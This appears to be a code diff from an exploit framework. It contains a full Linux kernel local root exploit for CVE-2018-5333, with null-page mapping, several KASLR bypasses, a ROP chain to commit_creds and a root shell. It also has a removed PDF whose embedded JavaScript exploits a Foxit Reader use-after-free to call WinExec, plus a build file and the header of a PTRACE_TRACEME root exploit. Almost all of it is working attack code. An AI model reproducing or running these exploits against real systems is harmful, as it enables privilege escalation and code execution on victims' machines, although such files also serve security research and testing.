struct sockaddr_in sin;
|
||||
struct msghdr msg;
|
||||
char buf[RAND_SIZE];
|
||||
struct cmsghdr cmsg;
|
||||
|
||||
memset(&sin, 0, sizeof(struct sockaddr));
|
||||
memset(&msg, 0, sizeof(msg));
|
||||
memset(buf, 0x40, sizeof(buf));
|
||||
memset(&cmsg, 0, sizeof(cmsg));
|
||||
|
||||
int fd = socket(AF_RDS, 5, 0);
|
||||
if(fd < 0) {
|
||||
dprintf("[-] socket(AF_RDS): %m\n");
|
||||
return;
|
||||
}
|
||||
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(2000);
|
||||
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
|
||||
bind(fd, (struct sockaddr*)&sin, sizeof(sin));
|
||||
|
||||
cmsg.cmsg_len = RAND_SIZE;
|
||||
cmsg.cmsg_type = RDS_CMSG_MASKED_ATOMIC_CSWP;
|
||||
cmsg.cmsg_level = SOL_RDS;
|
||||
|
||||
memcpy(&buf[0], &cmsg, sizeof(cmsg));
|
||||
|
||||
*(uint64_t *)(buf + 0x18) = 0x40404000; /* args->local_addr */
|
||||
|
||||
msg.msg_name = &sin;
|
||||
msg.msg_namelen = sizeof(sin);
|
||||
msg.msg_iov = NULL;
|
||||
msg.msg_iovlen = 0;
|
||||
msg.msg_control = buf;
|
||||
msg.msg_controllen = RAND_SIZE;
|
||||
msg.msg_flags = MSG_DONTROUTE|MSG_PROXY|MSG_WAITALL;
|
||||
|
||||
sendmsg(fd, &msg, 0);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * map null address * * * * * * * * * * * * *
|
||||
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
|
||||
|
||||
void map_null() {
|
||||
void *map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
|
||||
|
||||
if (map == MAP_FAILED) {
|
||||
dprintf("[-] mmap(null): %m\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char* path = "/proc/self/mem";
|
||||
int fd = open(path, O_RDWR);
|
||||
|
||||
if (fd == -1) {
|
||||
dprintf("open(%s): %m\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
unsigned long addr = (unsigned long)map;
|
||||
|
||||
while (addr != 0) {
|
||||
addr -= 0x1000;
|
||||
if (lseek(fd, addr, SEEK_SET) == -1) {
|
||||
dprintf("lseek()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
char cmd[1000];
|
||||
sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
|
||||
system(cmd);
|
||||
}
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * save state * * * * * * * * * * * * * * *
|
||||
// https://github.com/vnik5287/kernel_rop
|
||||
|
||||
unsigned long user_cs, user_ss, user_rflags;
|
||||
|
||||
static void save_state() {
|
||||
asm(
|
||||
"movq %%cs, %0\n"
|
||||
"movq %%ss, %1\n"
|
||||
"pushfq\n"
|
||||
"popq %2\n"
|
||||
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * SIGSEGV handler * * * * * * * * * * * * * *
|
||||
|
||||
void handler(int signo, siginfo_t* info, void* vcontext) {}
|
||||
|
||||
void debug_enable_sigsev_handler() {
|
||||
struct sigaction action;
|
||||
memset(&action, 0, sizeof(struct sigaction));
|
||||
action.sa_flags = SA_SIGINFO;
|
||||
action.sa_sigaction = handler;
|
||||
sigaction(SIGSEGV, &action, NULL);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (1) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
static int check_env() {
|
||||
int fd = socket(AF_RDS, 5, 0);
|
||||
if(fd < 0) {
|
||||
dprintf("[-] socket(AF_RDS): RDS kernel module not loaded?\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s): %m\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char* found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL) {
|
||||
dprintf("[-] SMAP detected, no bypass available\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct stat st;
|
||||
|
||||
if (stat("/dev/grsec", &st) == 0) {
|
||||
dprintf("[!] Warning: grsec is in use\n");
|
||||
}
|
||||
|
||||
if (stat("/proc/sys/lkrg", &st) == 0) {
|
||||
dprintf("[!] Warning: lkrg is in use\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return u;
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
#define KERNEL_VERSION_SIZE_BUFFER 512
|
||||
|
||||
void detect_versions() {
|
||||
struct utsname u;
|
||||
char kernel_version[KERNEL_VERSION_SIZE_BUFFER];
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
if (strstr(u.machine, "64") == NULL) {
|
||||
dprintf("[-] system is not using a 64-bit kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "-Ubuntu") == NULL) {
|
||||
dprintf("[-] system is not using an Ubuntu kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *u_ver = strtok(u.version, " ");
|
||||
snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version '%s' not recognized\n", kernel_version);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
// https://grsecurity.net/~spender/exploits/exploit.txt
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_KALLSYMS
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s): %m\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
if (addr == 0)
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_SYSLOG
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
int mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER): %m\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL): %m\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL)
|
||||
return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
|
||||
if (substr == NULL)
|
||||
return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long addr = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
addr &= 0xfffffffffff00000ul;
|
||||
addr -= 0x1000000ul;
|
||||
|
||||
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
|
||||
return addr;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
unsigned long addr = 0;
|
||||
char* syslog;
|
||||
int size;
|
||||
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
if (mmap_syslog(&syslog, &size))
|
||||
return 0;
|
||||
|
||||
addr = get_kernel_addr_syslog_xenial(syslog, size);
|
||||
|
||||
if (!addr)
|
||||
dprintf("[-] kernel base not found in syslog\n");
|
||||
|
||||
return addr;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * perf_event_open KASLR bypass * * * * * * * * * * *
|
||||
// https://blog.lizzie.io/kaslr-and-perf.html
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_PERF
|
||||
int perf_event_open(struct perf_event_attr *attr, pid_t pid, int cpu, int group_fd, unsigned long flags)
|
||||
{
|
||||
return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags);
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_perf() {
|
||||
int fd;
|
||||
pid_t child;
|
||||
|
||||
dprintf("[.] trying perf_event_open sampling...\n");
|
||||
|
||||
child = fork();
|
||||
|
||||
if (child == -1) {
|
||||
dprintf("[-] fork() failed: %m\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
struct utsname self = {0};
|
||||
while (1) uname(&self);
|
||||
return 0;
|
||||
}
|
||||
|
||||
struct perf_event_attr event = {
|
||||
.type = PERF_TYPE_SOFTWARE,
|
||||
.config = PERF_COUNT_SW_TASK_CLOCK,
|
||||
.size = sizeof(struct perf_event_attr),
|
||||
.disabled = 1,
|
||||
.exclude_user = 1,
|
||||
.exclude_hv = 1,
|
||||
.sample_type = PERF_SAMPLE_IP,
|
||||
.sample_period = 10,
|
||||
.precise_ip = 1
|
||||
};
|
||||
|
||||
fd = perf_event_open(&event, child, -1, -1, 0);
|
||||
|
||||
if (fd < 0) {
|
||||
dprintf("[-] syscall(SYS_perf_event_open): %m\n");
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t page_size = getpagesize();
|
||||
struct perf_event_mmap_page *meta_page = NULL;
|
||||
meta_page = mmap(NULL, (page_size * 2), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
|
||||
|
||||
if (meta_page == MAP_FAILED) {
|
||||
dprintf("[-] mmap() failed: %m\n");
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (ioctl(fd, PERF_EVENT_IOC_ENABLE)) {
|
||||
dprintf("[-] ioctl failed: %m\n");
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return 0;
|
||||
}
|
||||
char *data_page = ((char *) meta_page) + page_size;
|
||||
|
||||
size_t progress = 0;
|
||||
uint64_t last_head = 0;
|
||||
size_t num_samples = 0;
|
||||
unsigned long min_addr = ~0;
|
||||
while (num_samples < 100) {
|
||||
/* is reading from the meta_page racy? no idea */
|
||||
while (meta_page->data_head == last_head);;
|
||||
last_head = meta_page->data_head;
|
||||
|
||||
while (progress < last_head) {
|
||||
struct __attribute__((packed)) sample {
|
||||
struct perf_event_header header;
|
||||
uint64_t ip;
|
||||
} *here = (struct sample *) (data_page + progress % page_size);
|
||||
switch (here->header.type) {
|
||||
case PERF_RECORD_SAMPLE:
|
||||
num_samples++;
|
||||
if (here->header.size < sizeof(*here)) {
|
||||
dprintf("[-] size too small.\n");
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t prefix;
|
||||
if (strstr(kernels[kernel].kernel_version, "4.8.0-")) {
|
||||
prefix = here->ip & ~0xfffff;
|
||||
} else {
|
||||
prefix = here->ip & ~0xffffff;
|
||||
}
|
||||
|
||||
if (prefix < min_addr) min_addr = prefix;
|
||||
break;
|
||||
case PERF_RECORD_THROTTLE:
|
||||
case PERF_RECORD_UNTHROTTLE:
|
||||
case PERF_RECORD_LOST:
|
||||
break;
|
||||
default:
|
||||
dprintf("[-] unexpected perf event: %x\n", here->header.type);
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return 0;
|
||||
}
|
||||
progress += here->header.size;
|
||||
}
|
||||
/* tell the kernel we read it. */
|
||||
meta_page->data_tail = last_head;
|
||||
}
|
||||
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return min_addr;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_MINCORE
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize() / sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
|
||||
if (strstr(kernels[kernel].kernel_version, "4.8.0-")) {
|
||||
dprintf("[-] target kernel does not permit mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000,
|
||||
PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap(): %m\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore(): %m\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) {
|
||||
addr &= 0xffffffffff000000ul;
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap(): %m\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap(): %m\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_KALLSYMS
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_SYSLOG
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_PERF
|
||||
addr = get_kernel_addr_perf();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_MINCORE
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
dprintf("[-] KASLR bypass failed, kernel base not found\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
static void shell() {
|
||||
if (getuid() == 0 && geteuid() == 0) {
|
||||
dprintf("[+] got root\n");
|
||||
system(SHELL);
|
||||
} else {
|
||||
dprintf("[-] failed\n");
|
||||
}
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
void fork_shell() {
|
||||
pid_t rv;
|
||||
|
||||
rv = fork();
|
||||
if (rv == -1) {
|
||||
dprintf("[-] fork(): %m\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (rv == 0)
|
||||
shell();
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc > 1) SHELL = argv[1];
|
||||
dprintf("Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)\n");
|
||||
|
||||
dprintf("[.] checking kernel version...\n");
|
||||
detect_versions();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
#if ENABLE_SYSTEM_CHECKS
|
||||
dprintf("[.] checking system...\n");
|
||||
check_env();
|
||||
dprintf("[~] done, looks good\n");
|
||||
#endif
|
||||
|
||||
dprintf("[.] mapping null address...\n");
|
||||
map_null();
|
||||
dprintf("[~] done, mapped null address\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
unsigned long commit_creds = (KERNEL_BASE + kernels[kernel].commit_creds);
|
||||
unsigned long prepare_kernel_cred = (KERNEL_BASE + kernels[kernel].prepare_kernel_cred);
|
||||
unsigned long xor_rdi = (KERNEL_BASE + kernels[kernel].xor_rdi);
|
||||
unsigned long mov_rdi_rax = (KERNEL_BASE + kernels[kernel].mov_rdi_rax);
|
||||
unsigned long xchg_esp = (KERNEL_BASE + kernels[kernel].xchg_esp);
|
||||
unsigned long swapgs = (KERNEL_BASE + kernels[kernel].swapgs);
|
||||
unsigned long iretq = (KERNEL_BASE + kernels[kernel].iretq);
|
||||
|
||||
dprintf("[.] commit_creds: %lx\n", commit_creds);
|
||||
dprintf("[.] prepare_kernel_cred: %lx\n", prepare_kernel_cred);
|
||||
|
||||
dprintf("[.] mmapping fake stack...\n");
|
||||
|
||||
uint64_t page_size = getpagesize();
|
||||
uint64_t stack_aligned = (xchg_esp & 0x00000000fffffffful) & ~(page_size - 1);
|
||||
uint64_t stack_offset = xchg_esp % page_size;
|
||||
|
||||
unsigned long *fake_stack = mmap((void*)stack_aligned, 0x200000,
|
||||
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
|
||||
|
||||
if (fake_stack == MAP_FAILED) {
|
||||
dprintf("[-] mmap(fake_stack): %m\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
unsigned long *temp_stack = mmap((void*)0x30000000, 0x10000000,
|
||||
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
|
||||
|
||||
if (temp_stack == MAP_FAILED) {
|
||||
dprintf("[-] mmap(temp_stack): %m\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static unsigned long result = 0;
|
||||
unsigned long *data = (unsigned long *)0;
|
||||
data[1] = (uint64_t)&result;
|
||||
data[3] = xchg_esp;
|
||||
|
||||
save_state();
|
||||
debug_enable_sigsev_handler();
|
||||
|
||||
fake_stack = (unsigned long *)(stack_aligned + stack_offset);
|
||||
|
||||
int i = 0;
|
||||
|
||||
fake_stack[i++] = xor_rdi;
|
||||
fake_stack[i++] = prepare_kernel_cred;
|
||||
fake_stack[i++] = mov_rdi_rax;
|
||||
fake_stack[i++] = 0x12345678;
|
||||
fake_stack[i++] = 0x12345678;
|
||||
fake_stack[i++] = 0x12345678;
|
||||
fake_stack[i++] = commit_creds;
|
||||
|
||||
fake_stack[i++] = swapgs;
|
||||
fake_stack[i++] = 0x12345678;
|
||||
|
||||
fake_stack[i++] = iretq;
|
||||
fake_stack[i++] = (unsigned long)shell;
|
||||
fake_stack[i++] = user_cs;
|
||||
fake_stack[i++] = user_rflags;
|
||||
fake_stack[i++] = (unsigned long)(temp_stack + 0x500000);
|
||||
fake_stack[i++] = user_ss;
|
||||
|
||||
dprintf("[~] done, fake stack mmapped\n");
|
||||
|
||||
dprintf("[.] executing payload %p...\n", (void*)&shell);
|
||||
trigger_bug();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,125 +0,0 @@
|
||||
%PDF
|
||||
1 0 obj
|
||||
<</Pages 1 0 R /OpenAction 2 0 R>>
|
||||
2 0 obj
|
||||
<</S /JavaScript /JS (
|
||||
|
||||
var heap_ptr = 0;
|
||||
var foxit_base = 0;
|
||||
var pwn_array = [];
|
||||
|
||||
function prepare_heap(size){
|
||||
var arr = new Array(size);
|
||||
for(var i = 0; i < size; i++){
|
||||
arr[i] = this.addAnnot({type: "Text"});;
|
||||
if (typeof arr[i] == "object"){
|
||||
arr[i].destroy();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function gc() {
|
||||
const maxMallocBytes = 128 * 0x100000;
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var x = new ArrayBuffer(maxMallocBytes);
|
||||
}
|
||||
}
|
||||
|
||||
function alloc_at_leak(){
|
||||
for (var i = 0; i < 0x64; i++){
|
||||
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
|
||||
}
|
||||
}
|
||||
|
||||
function control_memory(){
|
||||
for (var i = 0; i < 0x64; i++){
|
||||
for (var j = 0; j < pwn_array[i].length; j++){
|
||||
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function leak_vtable(){
|
||||
var a = this.addAnnot({type: "Text"});
|
||||
|
||||
a.destroy();
|
||||
gc();
|
||||
|
||||
prepare_heap(0x400);
|
||||
var test = new ArrayBuffer(0x60);
|
||||
var stolen = new Int32Array(test);
|
||||
|
||||
var leaked = stolen[0] & 0xffff0000;
|
||||
foxit_base = leaked - 0x01f50000;
|
||||
}
|
||||
|
||||
function leak_heap_chunk(){
|
||||
var a = this.addAnnot({type: "Text"});
|
||||
a.destroy();
|
||||
prepare_heap(0x400);
|
||||
|
||||
var test = new ArrayBuffer(0x60);
|
||||
var stolen = new Int32Array(test);
|
||||
|
||||
alloc_at_leak();
|
||||
heap_ptr = stolen[1];
|
||||
}
|
||||
|
||||
function reclaim(){
|
||||
var arr = new Array(0x10);
|
||||
for (var i = 0; i < arr.length; i++) {
|
||||
arr[i] = new ArrayBuffer(0x60);
|
||||
var rop = new Int32Array(arr[i]);
|
||||
|
||||
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
|
||||
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
|
||||
rop[0x02] = 0x72727272; // junk
|
||||
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
|
||||
rop[0x04] = 0xffffffff; // ret of WinExec
|
||||
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
|
||||
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
|
||||
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
|
||||
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
|
||||
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
|
||||
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
|
||||
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
|
||||
<%= rop %>
|
||||
rop[0x17] = 0x00000000; // adios, amigo
|
||||
}
|
||||
}
|
||||
|
||||
function trigger_uaf(){
|
||||
var that = this;
|
||||
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
|
||||
var arr = [1];
|
||||
Object.defineProperties(arr,{
|
||||
"0":{
|
||||
get: function () {
|
||||
|
||||
that.getAnnot(0, "uaf").destroy();
|
||||
|
||||
reclaim();
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
a.point = arr;
|
||||
}
|
||||
|
||||
function main(){
|
||||
leak_heap_chunk();
|
||||
leak_vtable();
|
||||
control_memory();
|
||||
trigger_uaf();
|
||||
}
|
||||
|
||||
if (app.platform == "WIN"){
|
||||
if (app.isFoxit == "Foxit Reader"){
|
||||
if (app.appFoxitVersion == "9.0.1.1049"){
|
||||
main();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
)>> trailer <</Root 1 0 R>>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,15 +0,0 @@
|
||||
#EXTM3U
|
||||
#EXT-X-VERSION:3
|
||||
#EXT-X-TARGETDURATION:4
|
||||
#EXT-X-MEDIA-SEQUENCE:0
|
||||
#EXTINF:3.433333,
|
||||
epicsax0.ts
|
||||
#EXTINF:1.700000,
|
||||
epicsax1.ts
|
||||
#EXTINF:1.700000,
|
||||
epicsax2.ts
|
||||
#EXTINF:1.700000,
|
||||
epicsax3.ts
|
||||
#EXTINF:1.466667,
|
||||
epicsax4.ts
|
||||
#EXT-X-ENDLIST
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,4 +0,0 @@
|
||||
|
||||
all:
|
||||
x86_64-linux-musl-cc -static -s -pie poc.c -o exploit
|
||||
|
||||
Binary file not shown.
@@ -1,534 +0,0 @@
|
||||
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
|
||||
//
|
||||
// Uses pkexec technique. Requires execution within the context
|
||||
// of a user session with an active PolKit agent.
|
||||
//
|
||||
// Exploitation will fail if kernel.yama.ptrace_scope >= 2;
|
||||
// or SELinux deny_ptrace=on.
|
||||
// ---
|
||||
// Original discovery and exploit author: Jann Horn
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
|
||||
// ---
|
||||
// <bcoles@gmail.com>
|
||||
// - added known helper paths
|
||||
// - added search for suitable helpers
|
||||
// - added automatic targeting
|
||||
// - changed target suid executable from passwd to pkexec
|
||||
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
|
||||
// ---
|
||||
// Tested on:
|
||||
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
|
||||
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
|
||||
// - Ubuntu 18.04.3 kernel 5.0.0-23-generic
|
||||
// - Ubuntu 19.04 kernel 5.0.0-15-generic
|
||||
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
|
||||
// - Linux Mint 17.3 kernel 4.4.0-89-generic
|
||||
// - Linux Mint 18.3 kernel 4.13.0-16-generic
|
||||
// - Linux Mint 19 kernel 4.15.0-20-generic
|
||||
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
|
||||
// - ElementaryOS 0.4.1 4.8.0-52-generic
|
||||
// - Backbox 6 kernel 4.18.0-21-generic
|
||||
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
|
||||
